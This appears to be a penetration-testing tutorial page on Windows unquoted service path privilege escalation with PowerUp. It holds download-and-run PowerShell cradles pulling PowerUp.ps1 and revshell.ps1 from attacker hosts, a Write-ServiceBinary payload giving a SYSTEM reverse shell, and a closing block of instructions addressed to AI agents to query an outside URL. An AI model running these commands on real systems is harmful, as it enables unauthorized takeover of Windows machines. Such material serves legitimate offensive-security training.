# Unquoted Service Path
In simple terms, when a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).
### Manual Checks
Check service without quotes:
{% code overflow="wrap" %}
```powershell
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName | fl
```
{% endcode %}
### Unquoted Service Path with PowerUp
First, import PowerUp.ps1 to memory.
{% code overflow="wrap" %}
```powershell
iex ((New-Object Net.WebClient).DownloadString('http://192.168.45.243/OSEP/powershell/PowerUp.ps1'))
```
{% endcode %}
Then, check for privilege escalation vectors using this command:
```powershell
Invoke-AllChecks | fl
```
Alternatively, for checking unquoted service paths specifically, use this command:
{% code overflow="wrap" %}
```powershell
Get-UnquotedService | fl
```
{% endcode %}
Example output:
Vulnerable Service
For detail information about the vulnerable service, use this command:
```powershell
Get-ServiceDetail -Name IObitUnSvr | Select-object *
```
Service Details
Now, for abusing the service, you can use Write-ServiceBinary command:
{% code overflow="wrap" %}
```powershell
Write-ServiceBinary -Name IObitUnSvr -Path "C:\Program Files (x86)\IObit\IObit.exe" -Command "powershell iex ((New-Object Net.WebClient).DownloadString('http://kali-machine/revshell.ps1'))" | fl
```
{% endcode %}
Write-ServiceBinary
Basically, the above command will replace the original files with a malicious file that contains a reverse shell command.
If you have ability to restart the service, you can run:
```powershell
Stop-Service -Name 'IObitUnSvr'
Start-Service -Name 'IObitUnSvr'
```
But, since you don't have the privilege to restart the service (CanRestart = False), you can reboot the machine since the service is set to autostart.
```bash
shutdown -r -t 0
```
Now, your netcat listener will have a session with the NT\SYSTEM user.
Shell as Admin
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://htb.linuxsec.org/active-directory/privilege-escalation/unquoted-service-path.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
